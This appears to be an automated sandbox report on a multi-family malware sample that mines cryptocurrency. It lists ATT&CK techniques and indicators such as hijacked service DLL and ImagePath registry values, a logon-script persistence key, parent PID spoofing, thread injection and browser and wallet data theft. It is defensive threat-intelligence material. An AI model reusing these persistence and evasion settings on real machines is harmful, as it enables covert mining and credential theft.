xmrig | 370d7f2aa57180676dbb396f340aa2a4034bab5def06c4da2a808b214b015b63

defense_evasion privilege_escalation

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 4180 created 3304	4180	AppManagerServicef7ad.exe	56
PID 2836 created 3304	2836	AppManagerServicef7ad.exe	56
PID 2536 created 3304	2536	nslookup.exe	56

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 11 IoCs

resource	yara_rule
behavioral1/memory/1932-157-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-327-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-412-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-415-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-416-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-424-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-425-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-429-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-430-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-464-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs
behavioral1/memory/3928-499-0x0000000140000000-0x00000001404C4000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

UPX dump on OEP (original entry point) 13 IoCs

resource	yara_rule
behavioral1/memory/3916-398-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-403-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-405-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-404-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-410-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-411-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-408-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-407-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-409-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-413-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-417-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-418-0x0000000140000000-0x000000014080D000-memory.dmp	UPX
behavioral1/memory/3916-419-0x0000000140000000-0x000000014080D000-memory.dmp	UPX

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/3916-405-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-410-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-411-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-408-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-407-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-409-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-413-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-417-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-418-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig
behavioral1/memory/3916-419-0x0000000140000000-0x000000014080D000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 33 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1984	powershell.exe
1728	powershell.exe
3292	powershell.exe
4008	powershell.exe
3244	powershell.exe
2268	powershell.exe
1592	powershell.exe
4336	powershell.exe
2800	powershell.exe
2604	powershell.exe
4380	powershell.exe
4696	powershell.exe
4728	powershell.exe
2268	powershell.exe
4696	powershell.exe
4728	powershell.exe
4712	powershell.exe
2604	powershell.exe
4380	powershell.exe
4336	powershell.exe
3792	powershell.exe
752	powershell.exe
3244	powershell.exe
1592	powershell.exe
4588	powershell.exe
1980	powershell.exe
2348	powershell.exe
2008	powershell.exe
1340	powershell.exe
4528	powershell.exe
4444	powershell.exe
1788	powershell.exe
3904	powershell.exe

Downloads MZ/PE file 8 IoCs

flow	pid	Process
25	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
26	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
27	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
30	3048	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
38	4832	SecurityHealthHost.exe
40	4832	SecurityHealthHost.exe
41	4832	SecurityHealthHost.exe
49	4832	SecurityHealthHost.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\udpixdmfcz\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\lzarkwtrsn\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bvqttzvgqc\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\srgvmarzbt\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\lzarkwtrsn\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bvqttzvgqc\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\srgvmarzbt\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\zdkxsadpkl\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\udpixdmfcz\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 18 IoCs

pid	Process
4832	SecurityHealthHost.exe
1412	lkitrxkluhep.exe
1932	tzhg7shnj.exe
4400	NetHost1dcc90.exe
4924	pv6eio00q.exe
3840	xw8w8pbs.exe
3928	ProManagerc7e51.exe
3820	ProUpdate7dd338.exe
1980	ProUpdate7dd338.exe
964	ProManagerc7e51.exe
4180	AppManagerServicef7ad.exe
4088	qumlw6esyvm.exe
3900	8bwqhyvt.exe
3860	jmb1u05watv.exe
3424	gfcnvv0u3an.exe
2836	AppManagerServicef7ad.exe
4296	ProUpdate7dd338.exe
2788	ProUpdate7dd338.exe

Modifies service settings 1 TTPs
Alters the configuration of existing services.
defense_evasion

Windows Service
T1543.003
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Environment\UserInitMprLogonScript = "C:\\Users\\Admin\\AppData\\Local\\Windows\\Config\\700E238B\\NetHost1dcc90.exe"	lkitrxkluhep.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

Power Settings

T1653

pid	Process
1640	powercfg.exe
1128	powercfg.exe
4424	powercfg.exe
1220	powercfg.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4180 set thread context of 2536	4180	AppManagerServicef7ad.exe	160
PID 2836 set thread context of 1616	2836	AppManagerServicef7ad.exe	186
PID 2536 set thread context of 3916	2536	nslookup.exe	269

Launches sc.exe 18 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1592	sc.exe
2992	sc.exe
4192	sc.exe
4876	sc.exe
3580	sc.exe
4928	sc.exe
3828	sc.exe
3992	sc.exe
2228	sc.exe
2960	sc.exe
1416	sc.exe
628	sc.exe
1168	sc.exe
3668	sc.exe
4844	sc.exe
3588	sc.exe
3488	sc.exe
4304	sc.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4684	cmd.exe
720	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NetHost1dcc90.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NetHost1dcc90.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ProUpdate7dd338.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ProManagerc7e51.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ProUpdate7dd338.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ProManagerc7e51.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	SecurityHealthHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	SecurityHealthHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	2026-09-25_ca510354d234468e673fa934a24a06b5_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
